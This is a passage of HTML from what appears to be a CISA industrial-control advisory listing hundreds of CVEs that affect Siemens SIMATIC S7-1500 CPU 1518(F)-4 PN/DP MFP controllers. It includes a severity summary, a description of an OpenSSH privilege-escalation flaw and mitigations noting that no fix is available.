CVE-2026-22979, CVE-2026-22980, CVE-2026-22982, CVE-2026-22992, CVE-2026-22994, CVE-2026-23003, CVE-2026-23005, CVE-2026-23010, CVE-2026-23011, CVE-2026-23019, CVE-2026-23026, CVE-2026-23038, CVE-2026-23054, CVE-2026-23060, CVE-2026-23083, CVE-2026-23084, CVE-2026-23086, CVE-2026-23087, CVE-2026-23095, CVE-2026-23100, CVE-2026-23103, CVE-2026-23110, CVE-2026-23111, CVE-2026-23113, CVE-2026-23154, CVE-2026-23204, CVE-2026-23231, CVE-2026-23242, CVE-2026-23243, CVE-2026-23245, CVE-2026-23270, CVE-2026-23271, CVE-2026-23273, CVE-2026-23274, CVE-2026-23277, CVE-2026-23284, CVE-2026-23287, CVE-2026-23290, CVE-2026-23293, CVE-2026-23300, CVE-2026-23304, CVE-2026-23319, CVE-2026-23321, CVE-2026-23335, CVE-2026-23340, CVE-2026-23343, CVE-2026-23351, CVE-2026-23359, CVE-2026-23365, CVE-2026-23368, CVE-2026-23370, CVE-2026-23378, CVE-2026-23379, CVE-2026-23381, CVE-2026-23391, CVE-2026-23392, CVE-2026-23397, CVE-2026-23398, CVE-2026-23414, CVE-2026-23422, CVE-2026-23434, CVE-2026-23438, CVE-2026-23439, CVE-2026-23446, CVE-2026-23449, CVE-2026-23450, CVE-2026-23452, CVE-2026-23454, CVE-2026-23455, CVE-2026-23456, CVE-2026-23457, CVE-2026-23458, CVE-2026-23463, CVE-2026-23474, CVE-2026-23475, CVE-2026-27135, CVE-2026-31389, CVE-2026-31391, CVE-2026-31396, CVE-2026-31402, CVE-2026-31403, CVE-2026-31411, CVE-2026-31414, CVE-2026-31415, CVE-2026-31416, CVE-2026-31417, CVE-2026-31418, CVE-2026-31421, CVE-2026-31422, CVE-2026-31423, CVE-2026-31424, CVE-2026-31427, CVE-2026-31428, CVE-2026-31431, CVE-2026-31441, CVE-2026-31446, CVE-2026-31447, CVE-2026-31448, CVE-2026-31450, CVE-2026-31452, CVE-2026-31466, CVE-2026-31469, CVE-2026-31485, CVE-2026-31494, CVE-2026-31495, CVE-2026-31496, CVE-2026-31503, CVE-2026-31504, CVE-2026-31507, CVE-2026-31508, CVE-2026-31515, CVE-2026-31518, CVE-2026-31521, CVE-2026-31533, CVE-2026-31546, CVE-2026-31555, CVE-2026-31563, CVE-2026-31565, CVE-2026-31628, CVE-2026-31634, CVE-2026-31649, CVE-2026-31651, CVE-2026-31658, CVE-2026-31664, CVE-2026-31665, CVE-2026-31669, CVE-2026-31670, CVE-2026-31671, CVE-2026-31674, CVE-2026-31680, CVE-2026-31682, CVE-2026-31737, CVE-2026-31752, CVE-2026-31761, CVE-2026-31768, CVE-2026-40355, CVE-2026-41989, CVE-2026-43011, CVE-2026-43024, CVE-2026-43025, CVE-2026-43026, CVE-2026-43027, CVE-2026-43028, CVE-2026-43030, CVE-2026-43033, CVE-2026-43035, CVE-2026-43038, CVE-2026-43040, CVE-2026-43057, CVE-2026-43284, CVE-2026-46174, CVE-2026-46300, CVE-2026-46333)</li>
<li>SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) vers:intdot/&gt;=3.1.6 (CVE-2021-41617, CVE-2023-28531, CVE-2023-51384, CVE-2023-52927, CVE-2024-26783, CVE-2024-27056, CVE-2024-28956, CVE-2024-36903, CVE-2024-36927, CVE-2024-42079, CVE-2024-46786, CVE-2024-47736, CVE-2024-47809, CVE-2024-49968, CVE-2024-49994, CVE-2024-49998, CVE-2024-50014, CVE-2024-50063, CVE-2024-50164, CVE-2024-50298, CVE-2024-53124, CVE-2024-53170, CVE-2024-54458, CVE-2024-56631, CVE-2024-56703, CVE-2024-56719, CVE-2024-57917, CVE-2024-57924, CVE-2024-57973, CVE-2024-57977, CVE-2024-57979, CVE-2024-58011, CVE-2024-58016, CVE-2024-58020, CVE-2024-58056, CVE-2024-58058, CVE-2024-58061, CVE-2024-58086, CVE-2025-21645, CVE-2025-21648, CVE-2025-21655, CVE-2025-21676, CVE-2025-21682, CVE-2025-21702, CVE-2025-21705, CVE-2025-21706, CVE-2025-21707, CVE-2025-21718, CVE-2025-21731, CVE-2025-21745, CVE-2025-21758, CVE-2025-21760, CVE-2025-21764, CVE-2025-21765, CVE-2025-21780, CVE-2025-21795, CVE-2025-21796, CVE-2025-21802, CVE-2025-21814, CVE-2025-21846, CVE-2025-21853, CVE-2025-21861, CVE-2025-21864, CVE-2025-21867, CVE-2025-21875, CVE-2025-21887, CVE-2025-21913, CVE-2025-21919, CVE-2025-21925, CVE-2025-21926, CVE-2025-21938, CVE-2025-21959, CVE-2025-21999, CVE-2025-22005, CVE-2025-22015, CVE-2025-22055, CVE-2025-22056, CVE-2025-22060, CVE-2025-22083, CVE-2025-22090, CVE-2025-22095, CVE-2025-22107, CVE-2025-22111, CVE-2025-22121, CVE-2025-23136, CVE-2025-23143, CVE-2025-37785, CVE-2025-37909, CVE-2025-37917, CVE-2025-37945, CVE-2025-37959, CVE-2025-37964, CVE-2025-37972, CVE-2025-37980, CVE-2025-38125, CVE-2025-38162, CVE-2025-38192, CVE-2025-38201, CVE-2025-38232, CVE-2025-38322, CVE-2025-38591, CVE-2025-38614, CVE-2025-38681, CVE-2025-38704, CVE-2025-38721, CVE-2025-38725, CVE-2025-38727, CVE-2025-38732, CVE-2025-38736, CVE-2025-39681, CVE-2025-39691, CVE-2025-39721, CVE-2025-39748, CVE-2025-39756, CVE-2025-39764, CVE-2025-39770, CVE-2025-39773, CVE-2025-39782, CVE-2025-39795, CVE-2025-39826, CVE-2025-39827, CVE-2025-39845, CVE-2025-39866, CVE-2025-39871, CVE-2025-39931, CVE-2025-39953, CVE-2025-39955, CVE-2025-39964, CVE-2025-39977, CVE-2025-39978, CVE-2025-39980, CVE-2025-40022, CVE-2025-40070, CVE-2025-40078, CVE-2025-40080, CVE-2025-40105, CVE-2025-40135, CVE-2025-40149, CVE-2025-40219, CVE-2025-40261, CVE-2025-40300, CVE-2025-61984, CVE-2025-61985, CVE-2025-68206, CVE-2025-68261, CVE-2025-68264, CVE-2025-68265, CVE-2025-68266, CVE-2025-68291, CVE-2025-68337, CVE-2025-68349, CVE-2025-68363, CVE-2025-68371, CVE-2025-68724, CVE-2025-68725, CVE-2025-68742, CVE-2025-68764, CVE-2025-68773, CVE-2025-68776, CVE-2025-68782, CVE-2025-68787, CVE-2025-68788, CVE-2025-68798, CVE-2025-68803, CVE-2025-68814, CVE-2025-68816, CVE-2025-68818, CVE-2025-68820, CVE-2025-71064, CVE-2025-71075, CVE-2025-71079, CVE-2025-71085, CVE-2025-71086, CVE-2025-71088, CVE-2025-71095, CVE-2025-71097, CVE-2025-71098, CVE-2025-71104, CVE-2025-71112, CVE-2025-71113, CVE-2025-71114, CVE-2025-71120, CVE-2025-71123, CVE-2025-71131, CVE-2025-71161, CVE-2025-71162, CVE-2025-71163, CVE-2025-71185, CVE-2025-71186, CVE-2025-71189, CVE-2025-71190, CVE-2025-71191, CVE-2025-71197, CVE-2025-71221, CVE-2025-71265, CVE-2025-71266, CVE-2025-71267, CVE-2026-3497, CVE-2026-22977, CVE-2026-22979, CVE-2026-22980, CVE-2026-22982, CVE-2026-22992, CVE-2026-22994, CVE-2026-23003, CVE-2026-23005, CVE-2026-23010, CVE-2026-23011, CVE-2026-23019, CVE-2026-23026, CVE-2026-23038, CVE-2026-23054, CVE-2026-23060, CVE-2026-23083, CVE-2026-23084, CVE-2026-23086, CVE-2026-23087, CVE-2026-23095, CVE-2026-23100, CVE-2026-23103, CVE-2026-23110, CVE-2026-23111, CVE-2026-23113, CVE-2026-23154, CVE-2026-23204, CVE-2026-23231, CVE-2026-23242, CVE-2026-23243, CVE-2026-23245, CVE-2026-23270, CVE-2026-23271, CVE-2026-23273, CVE-2026-23274, CVE-2026-23277, CVE-2026-23284, CVE-2026-23287, CVE-2026-23290, CVE-2026-23293, CVE-2026-23300, CVE-2026-23304, CVE-2026-23319, CVE-2026-23321, CVE-2026-23335, CVE-2026-23340, CVE-2026-23343, CVE-2026-23351, CVE-2026-23359, CVE-2026-23365, CVE-2026-23368, CVE-2026-23370, CVE-2026-23378, CVE-2026-23379, CVE-2026-23381, CVE-2026-23391, CVE-2026-23392, CVE-2026-23397, CVE-2026-23398, CVE-2026-23414, CVE-2026-23422, CVE-2026-23434, CVE-2026-23438, CVE-2026-23439, CVE-2026-23446, CVE-2026-23449, CVE-2026-23450, CVE-2026-23452, CVE-2026-23454, CVE-2026-23455, CVE-2026-23456, CVE-2026-23457, CVE-2026-23458, CVE-2026-23463, CVE-2026-23474, CVE-2026-23475, CVE-2026-27135, CVE-2026-31389, CVE-2026-31391, CVE-2026-31396, CVE-2026-31402, CVE-2026-31403, CVE-2026-31411, CVE-2026-31414, CVE-2026-31415, CVE-2026-31416, CVE-2026-31417, CVE-2026-31418, CVE-2026-31421, CVE-2026-31422, CVE-2026-31423, CVE-2026-31424, CVE-2026-31427, CVE-2026-31428, CVE-2026-31431, CVE-2026-31441, CVE-2026-31446, CVE-2026-31447, CVE-2026-31448, CVE-2026-31450, CVE-2026-31452, CVE-2026-31466, CVE-2026-31469, CVE-2026-31485, CVE-2026-31494, CVE-2026-31495, CVE-2026-31496, CVE-2026-31503, CVE-2026-31504, CVE-2026-31507, CVE-2026-31508, CVE-2026-31515, CVE-2026-31518, CVE-2026-31521, CVE-2026-31533, CVE-2026-31546, CVE-2026-31555, CVE-2026-31563, CVE-2026-31565, CVE-2026-31628, CVE-2026-31634, CVE-2026-31649, CVE-2026-31651, CVE-2026-31658, CVE-2026-31664, CVE-2026-31665, CVE-2026-31669, CVE-2026-31670, CVE-2026-31671, CVE-2026-31674, CVE-2026-31680, CVE-2026-31682, CVE-2026-31737, CVE-2026-31752, CVE-2026-31761, CVE-2026-31768, CVE-2026-40355, CVE-2026-41989, CVE-2026-43011, CVE-2026-43024, CVE-2026-43025, CVE-2026-43026, CVE-2026-43027, CVE-2026-43028, CVE-2026-43030, CVE-2026-43033, CVE-2026-43035, CVE-2026-43038, CVE-2026-43040, CVE-2026-43057, CVE-2026-43284, CVE-2026-46174, CVE-2026-46300, CVE-2026-46333)</li>
<li>SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) vers:intdot/&gt;=3.1.6 (CVE-2021-41617, CVE-2023-28531, CVE-2023-51384, CVE-2023-52927, CVE-2024-26783, CVE-2024-27056, CVE-2024-28956, CVE-2024-36903, CVE-2024-36927, CVE-2024-42079, CVE-2024-46786, CVE-2024-47736, CVE-2024-47809, CVE-2024-49968, CVE-2024-49994, CVE-2024-49998, CVE-2024-50014, CVE-2024-50063, CVE-2024-50164, CVE-2024-50298, CVE-2024-53124, CVE-2024-53170, CVE-2024-54458, CVE-2024-56631, CVE-2024-56703, CVE-2024-56719, CVE-2024-57917, CVE-2024-57924, CVE-2024-57973, CVE-2024-57977, CVE-2024-57979, CVE-2024-58011, CVE-2024-58016, CVE-2024-58020, CVE-2024-58056, CVE-2024-58058, CVE-2024-58061, CVE-2024-58086, CVE-2025-21645, CVE-2025-21648, CVE-2025-21655, CVE-2025-21676, CVE-2025-21682, CVE-2025-21702, CVE-2025-21705, CVE-2025-21706, CVE-2025-21707, CVE-2025-21718, CVE-2025-21731, CVE-2025-21745, CVE-2025-21758, CVE-2025-21760, CVE-2025-21764, CVE-2025-21765, CVE-2025-21780, CVE-2025-21795, CVE-2025-21796, CVE-2025-21802, CVE-2025-21814, CVE-2025-21846, CVE-2025-21853, CVE-2025-21861, CVE-2025-21864, CVE-2025-21867, CVE-2025-21875, CVE-2025-21887, CVE-2025-21913, CVE-2025-21919, CVE-2025-21925, CVE-2025-21926, CVE-2025-21938, CVE-2025-21959, CVE-2025-21999, CVE-2025-22005, CVE-2025-22015, CVE-2025-22055, CVE-2025-22056, CVE-2025-22060, CVE-2025-22083, CVE-2025-22090, CVE-2025-22095, CVE-2025-22107, CVE-2025-22111, CVE-2025-22121, CVE-2025-23136, CVE-2025-23143, CVE-2025-37785, CVE-2025-37909, CVE-2025-37917, CVE-2025-37945, CVE-2025-37959, CVE-2025-37964, CVE-2025-37972, CVE-2025-37980, CVE-2025-38125, CVE-2025-38162, CVE-2025-38192, CVE-2025-38201, CVE-2025-38232, CVE-2025-38322, CVE-2025-38591, CVE-2025-38614, CVE-2025-38681, CVE-2025-38704, CVE-2025-38721, CVE-2025-38725, CVE-2025-38727, CVE-2025-38732, CVE-2025-38736, CVE-2025-39681, CVE-2025-39691, CVE-2025-39721, CVE-2025-39748, CVE-2025-39756, CVE-2025-39764, CVE-2025-39770, CVE-2025-39773, CVE-2025-39782, CVE-2025-39795, CVE-2025-39826, CVE-2025-39827, CVE-2025-39845, CVE-2025-39866, CVE-2025-39871, CVE-2025-39931, CVE-2025-39953, CVE-2025-39955, CVE-2025-39964, CVE-2025-39977, CVE-2025-39978, CVE-2025-39980, CVE-2025-40022, CVE-2025-40070, CVE-2025-40078, CVE-2025-40080, CVE-2025-40105, CVE-2025-40135, CVE-2025-40149, CVE-2025-40219, CVE-2025-40261, CVE-2025-40300, CVE-2025-61984, CVE-2025-61985, CVE-2025-68206, CVE-2025-68261, CVE-2025-68264, CVE-2025-68265, CVE-2025-68266, CVE-2025-68291, CVE-2025-68337, CVE-2025-68349, CVE-2025-68363, CVE-2025-68371, CVE-2025-68724, CVE-2025-68725, CVE-2025-68742, CVE-2025-68764, CVE-2025-68773, CVE-2025-68776, CVE-2025-68782, CVE-2025-68787, CVE-2025-68788, CVE-2025-68798, CVE-2025-68803, CVE-2025-68814, CVE-2025-68816, CVE-2025-68818, CVE-2025-68820, CVE-2025-71064, CVE-2025-71075, CVE-2025-71079, CVE-2025-71085, CVE-2025-71086, CVE-2025-71088, CVE-2025-71095, CVE-2025-71097, CVE-2025-71098, CVE-2025-71104, CVE-2025-71112, CVE-2025-71113, CVE-2025-71114, CVE-2025-71120, CVE-2025-71123, CVE-2025-71131, CVE-2025-71161, CVE-2025-71162, CVE-2025-71163, CVE-2025-71185, CVE-2025-71186, CVE-2025-71189, CVE-2025-71190, CVE-2025-71191, CVE-2025-71197, CVE-2025-71221, CVE-2025-71265, CVE-2025-71266, CVE-2025-71267, CVE-2026-3497, CVE-2026-22977, CVE-2026-22979, CVE-2026-22980, CVE-2026-22982, CVE-2026-22992, CVE-2026-22994, CVE-2026-23003, CVE-2026-23005, CVE-2026-23010, CVE-2026-23011, CVE-2026-23019, CVE-2026-23026, CVE-2026-23038, CVE-2026-23054, CVE-2026-23060, CVE-2026-23083, CVE-2026-23084, CVE-2026-23086, CVE-2026-23087, CVE-2026-23095, CVE-2026-23100, CVE-2026-23103, CVE-2026-23110, CVE-2026-23111, CVE-2026-23113, CVE-2026-23154, CVE-2026-23204, CVE-2026-23231, CVE-2026-23242, CVE-2026-23243, CVE-2026-23245, CVE-2026-23270, CVE-2026-23271, CVE-2026-23273, CVE-2026-23274, CVE-2026-23277, CVE-2026-23284, CVE-2026-23287, CVE-2026-23290, CVE-2026-23293, CVE-2026-23300, CVE-2026-23304, CVE-2026-23319, CVE-2026-23321, CVE-2026-23335, CVE-2026-23340, CVE-2026-23343, CVE-2026-23351, CVE-2026-23359, CVE-2026-23365, CVE-2026-23368, CVE-2026-23370, CVE-2026-23378, CVE-2026-23379, CVE-2026-23381, CVE-2026-23391, CVE-2026-23392, CVE-2026-23397, CVE-2026-23398, CVE-2026-23414, CVE-2026-23422, CVE-2026-23434, CVE-2026-23438, CVE-2026-23439, CVE-2026-23446, CVE-2026-23449, CVE-2026-23450, CVE-2026-23452, CVE-2026-23454, CVE-2026-23455, CVE-2026-23456, CVE-2026-23457, CVE-2026-23458, CVE-2026-23463, CVE-2026-23474, CVE-2026-23475, CVE-2026-27135, CVE-2026-31389, CVE-2026-31391, CVE-2026-31396, CVE-2026-31402, CVE-2026-31403, CVE-2026-31411, CVE-2026-31414, CVE-2026-31415, CVE-2026-31416, CVE-2026-31417, CVE-2026-31418, CVE-2026-31421, CVE-2026-31422, CVE-2026-31423, CVE-2026-31424, CVE-2026-31427, CVE-2026-31428, CVE-2026-31431, CVE-2026-31441, CVE-2026-31446, CVE-2026-31447, CVE-2026-31448, CVE-2026-31450, CVE-2026-31452, CVE-2026-31466, CVE-2026-31469, CVE-2026-31485, CVE-2026-31494, CVE-2026-31495, CVE-2026-31496, CVE-2026-31503, CVE-2026-31504, CVE-2026-31507, CVE-2026-31508, CVE-2026-31515, CVE-2026-31518, CVE-2026-31521, CVE-2026-31533, CVE-2026-31546, CVE-2026-31555, CVE-2026-31563, CVE-2026-31565, CVE-2026-31628, CVE-2026-31634, CVE-2026-31649, CVE-2026-31651, CVE-2026-31658, CVE-2026-31664, CVE-2026-31665, CVE-2026-31669, CVE-2026-31670, CVE-2026-31671, CVE-2026-31674, CVE-2026-31680, CVE-2026-31682, CVE-2026-31737, CVE-2026-31752, CVE-2026-31761, CVE-2026-31768, CVE-2026-40355, CVE-2026-41989, CVE-2026-43011, CVE-2026-43024, CVE-2026-43025, CVE-2026-43026, CVE-2026-43027, CVE-2026-43028, CVE-2026-43030, CVE-2026-43033, CVE-2026-43035, CVE-2026-43038, CVE-2026-43040, CVE-2026-43057, CVE-2026-43284, CVE-2026-46174, CVE-2026-46300, CVE-2026-46333)</li>
<li>SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) vers:intdot/&gt;=3.1.6 (CVE-2021-41617, CVE-2023-28531, CVE-2023-51384, CVE-2023-52927, CVE-2024-26783, CVE-2024-27056, CVE-2024-28956, CVE-2024-36903, CVE-2024-36927, CVE-2024-42079, CVE-2024-46786, CVE-2024-47736, CVE-2024-47809, CVE-2024-49968, CVE-2024-49994, CVE-2024-49998, CVE-2024-50014, CVE-2024-50063, CVE-2024-50164, CVE-2024-50298, CVE-2024-53124, CVE-2024-53170, CVE-2024-54458, CVE-2024-56631, CVE-2024-56703, CVE-2024-56719, CVE-2024-57917, CVE-2024-57924, CVE-2024-57973, CVE-2024-57977, CVE-2024-57979, CVE-2024-58011, CVE-2024-58016, CVE-2024-58020, CVE-2024-58056, CVE-2024-58058, CVE-2024-58061, CVE-2024-58086, CVE-2025-21645, CVE-2025-21648, CVE-2025-21655, CVE-2025-21676, CVE-2025-21682, CVE-2025-21702, CVE-2025-21705, CVE-2025-21706, CVE-2025-21707, CVE-2025-21718, CVE-2025-21731, CVE-2025-21745, CVE-2025-21758, CVE-2025-21760, CVE-2025-21764, CVE-2025-21765, CVE-2025-21780, CVE-2025-21795, CVE-2025-21796, CVE-2025-21802, CVE-2025-21814, CVE-2025-21846, CVE-2025-21853, CVE-2025-21861, CVE-2025-21864, CVE-2025-21867, CVE-2025-21875, CVE-2025-21887, CVE-2025-21913, CVE-2025-21919, CVE-2025-21925, CVE-2025-21926, CVE-2025-21938, CVE-2025-21959, CVE-2025-21999, CVE-2025-22005, CVE-2025-22015, CVE-2025-22055, CVE-2025-22056, CVE-2025-22060, CVE-2025-22083, CVE-2025-22090, CVE-2025-22095, CVE-2025-22107, CVE-2025-22111, CVE-2025-22121, CVE-2025-23136, CVE-2025-23143, CVE-2025-37785, CVE-2025-37909, CVE-2025-37917, CVE-2025-37945, CVE-2025-37959, CVE-2025-37964, CVE-2025-37972, CVE-2025-37980, CVE-2025-38125, CVE-2025-38162, CVE-2025-38192, CVE-2025-38201, CVE-2025-38232, CVE-2025-38322, CVE-2025-38591, CVE-2025-38614, CVE-2025-38681, CVE-2025-38704, CVE-2025-38721, CVE-2025-38725, CVE-2025-38727, CVE-2025-38732, CVE-2025-38736, CVE-2025-39681, CVE-2025-39691, CVE-2025-39721, CVE-2025-39748, CVE-2025-39756, CVE-2025-39764, CVE-2025-39770, CVE-2025-39773, CVE-2025-39782, CVE-2025-39795, CVE-2025-39826, CVE-2025-39827, CVE-2025-39845, CVE-2025-39866, CVE-2025-39871, CVE-2025-39931, CVE-2025-39953, CVE-2025-39955, CVE-2025-39964, CVE-2025-39977, CVE-2025-39978, CVE-2025-39980, CVE-2025-40022, CVE-2025-40070, CVE-2025-40078, CVE-2025-40080, CVE-2025-40105, CVE-2025-40135, CVE-2025-40149, CVE-2025-40219, CVE-2025-40261, CVE-2025-40300, CVE-2025-61984, CVE-2025-61985, CVE-2025-68206, CVE-2025-68261, CVE-2025-68264, CVE-2025-68265, CVE-2025-68266, CVE-2025-68291, CVE-2025-68337, CVE-2025-68349, CVE-2025-68363, CVE-2025-68371, CVE-2025-68724, CVE-2025-68725, CVE-2025-68742, CVE-2025-68764, CVE-2025-68773, CVE-2025-68776, CVE-2025-68782, CVE-2025-68787, CVE-2025-68788, CVE-2025-68798, CVE-2025-68803, CVE-2025-68814, CVE-2025-68816, CVE-2025-68818, CVE-2025-68820, CVE-2025-71064, CVE-2025-71075, CVE-2025-71079, CVE-2025-71085, CVE-2025-71086, CVE-2025-71088, CVE-2025-71095, CVE-2025-71097, CVE-2025-71098, CVE-2025-71104, CVE-2025-71112, CVE-2025-71113, CVE-2025-71114, CVE-2025-71120, CVE-2025-71123, CVE-2025-71131, CVE-2025-71161, CVE-2025-71162, CVE-2025-71163, CVE-2025-71185, CVE-2025-71186, CVE-2025-71189, CVE-2025-71190, CVE-2025-71191, CVE-2025-71197, CVE-2025-71221, CVE-2025-71265, CVE-2025-71266, CVE-2025-71267, CVE-2026-3497, CVE-2026-22977, CVE-2026-22979, CVE-2026-22980, CVE-2026-22982, CVE-2026-22992, CVE-2026-22994, CVE-2026-23003, CVE-2026-23005, CVE-2026-23010, CVE-2026-23011, CVE-2026-23019, CVE-2026-23026, CVE-2026-23038, CVE-2026-23054, CVE-2026-23060, CVE-2026-23083, CVE-2026-23084, CVE-2026-23086, CVE-2026-23087, CVE-2026-23095, CVE-2026-23100, CVE-2026-23103, CVE-2026-23110, CVE-2026-23111, CVE-2026-23113, CVE-2026-23154, CVE-2026-23204, CVE-2026-23231, CVE-2026-23242, CVE-2026-23243, CVE-2026-23245, CVE-2026-23270, CVE-2026-23271, CVE-2026-23273, CVE-2026-23274, CVE-2026-23277, CVE-2026-23284, CVE-2026-23287, CVE-2026-23290, CVE-2026-23293, CVE-2026-23300, CVE-2026-23304, CVE-2026-23319, CVE-2026-23321, CVE-2026-23335, CVE-2026-23340, CVE-2026-23343, CVE-2026-23351, CVE-2026-23359, CVE-2026-23365, CVE-2026-23368, CVE-2026-23370, CVE-2026-23378, CVE-2026-23379, CVE-2026-23381, CVE-2026-23391, CVE-2026-23392, CVE-2026-23397, CVE-2026-23398, CVE-2026-23414, CVE-2026-23422, CVE-2026-23434, CVE-2026-23438, CVE-2026-23439, CVE-2026-23446, CVE-2026-23449, CVE-2026-23450, CVE-2026-23452, CVE-2026-23454, CVE-2026-23455, CVE-2026-23456, CVE-2026-23457, CVE-2026-23458, CVE-2026-23463, CVE-2026-23474, CVE-2026-23475, CVE-2026-27135, CVE-2026-31389, CVE-2026-31391, CVE-2026-31396, CVE-2026-31402, CVE-2026-31403, CVE-2026-31411, CVE-2026-31414, CVE-2026-31415, CVE-2026-31416, CVE-2026-31417, CVE-2026-31418, CVE-2026-31421, CVE-2026-31422, CVE-2026-31423, CVE-2026-31424, CVE-2026-31427, CVE-2026-31428, CVE-2026-31431, CVE-2026-31441, CVE-2026-31446, CVE-2026-31447, CVE-2026-31448, CVE-2026-31450, CVE-2026-31452, CVE-2026-31466, CVE-2026-31469, CVE-2026-31485, CVE-2026-31494, CVE-2026-31495, CVE-2026-31496, CVE-2026-31503, CVE-2026-31504, CVE-2026-31507, CVE-2026-31508, CVE-2026-31515, CVE-2026-31518, CVE-2026-31521, CVE-2026-31533, CVE-2026-31546, CVE-2026-31555, CVE-2026-31563, CVE-2026-31565, CVE-2026-31628, CVE-2026-31634, CVE-2026-31649, CVE-2026-31651, CVE-2026-31658, CVE-2026-31664, CVE-2026-31665, CVE-2026-31669, CVE-2026-31670, CVE-2026-31671, CVE-2026-31674, CVE-2026-31680, CVE-2026-31682, CVE-2026-31737, CVE-2026-31752, CVE-2026-31761, CVE-2026-31768, CVE-2026-40355, CVE-2026-41989, CVE-2026-43011, CVE-2026-43024, CVE-2026-43025, CVE-2026-43026, CVE-2026-43027, CVE-2026-43028, CVE-2026-43030, CVE-2026-43033, CVE-2026-43035, CVE-2026-43038, CVE-2026-43040, CVE-2026-43057, CVE-2026-43284, CVE-2026-46174, CVE-2026-46300, CVE-2026-46333)</li>
</ul>
<div class="csaf-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS</th>
<th role="columnheader">Vendor</th>
<th role="columnheader">Equipment</th>
<th role="columnheader">Vulnerabilities</th>
</tr>
</thead>
<tbody>
<tr>
<td>v3 9.8</td>
<td>Siemens</td>
<td>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</td>
<td>Missing Encryption of Sensitive Data, Missing Critical Step in Authentication, Improper Input Validation, Exposure of Sensitive Information in Shared Microarchitectural Structures during Transient Execution, Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition'), NULL Pointer Dereference, Improper Resource Shutdown or Release, Integer Overflow or Wraparound, Use of Uninitialized Variable, Improper Enforcement of Behavioral Workflow, Use After Free, Loop with Unreachable Exit Condition ('Infinite Loop'), Reachable Assertion, Improper Locking, Memory Allocation with Excessive Size Value, Use of Uninitialized Resource, Missing Release of Memory after Effective Lifetime, Buffer Copy without Checking Size of Input ('Classic Buffer Overflow'), Improper Resource Locking, Out-of-bounds Write, Out-of-bounds Read, Incomplete Cleanup, Divide By Zero, Uncontrolled Recursion, Race Condition within a Thread, Missing Release of Resource after Effective Lifetime, Improper Update of Reference Count, Missing Default Case in Multiple Condition Expression, Improper Following of Specification by Caller, Exposure of Sensitive Information Due to Incompatible Policies, Expired Pointer Dereference, Incorrect Type Conversion or Cast, Multiple Releases of Same Resource or Handle, Transmission of Private Resources into a New Sphere ('Resource Leak'), Improper Handling of Invalid Use of Special Elements, Improper Neutralization of Null Byte or NUL Character, Improper Handling of Missing Special Element, Time-of-check Time-of-use (TOCTOU) Race Condition, Missing Initialization of Resource, Incorrect Privilege Assignment, Trust of System Event Data, Use of Externally-Controlled Format String, Unchecked Return Value, Signal Handler Race Condition, Incorrect Conversion between Numeric Types, Active Debug Code, Buffer Underwrite ('Buffer Underflow'), Incorrect Synchronization, Improper Handling of Structural Elements, Improper Validation of Specified Index, Position, or Offset in Input, Incorrect Calculation of Buffer Size, Operation on a Resource after Expiration or Release, Access of Uninitialized Pointer, Improper Validation of Specified Type of Input, Plaintext Storage of a Password, Improper Handling of Length Parameter Inconsistency, Missing Report of Error Condition, Missing Synchronization, Deadlock, Buffer Access with Incorrect Length Value, Untrusted Pointer Dereference, Incorrect Resource Transfer Between Spheres, Release of Invalid Pointer or Reference, Misinterpretation of Input, Improper Null Termination, Incomplete Internal State Distinction, Access of Resource Using Incompatible Type ('Type Confusion'), Improperly Implemented Security Check for Standard, Write-what-where Condition, Improper Privilege Management</td>
</tr>
</tbody>
</table>
</div>
<h3>Background</h3>
<ul>
<li><strong>Critical Infrastructure Sectors: </strong>Critical Manufacturing</li>
<li><strong>Countries/Areas Deployed: </strong>Worldwide</li>
<li><strong>Company Headquarters Location: </strong>Germany</li>
</ul>
<hr>
<h2>Vulnerabilities</h2>
<div class="csaf-accordion">
<p><a class="csaf-accordion-toggle-all" href="https://www.cisa.gov/#">Expand All +</a></p>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2021-41617</a></h3>
<div class="csaf-accordion-content">
<p>sshd in OpenSSH 6.2 through 8.x before 8.8, when certain non-default configurations are used, allows privilege escalation because supplemental groups are not initialized as expected. Helper programs for AuthorizedKeysCommand and AuthorizedPrincipalsCommand may run with privileges associated with group memberships of the sshd process, if the configuration specifies running the command as a different user.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2021-41617">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/311.html">CWE-311 Missing Encryption of Sensitive Data</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
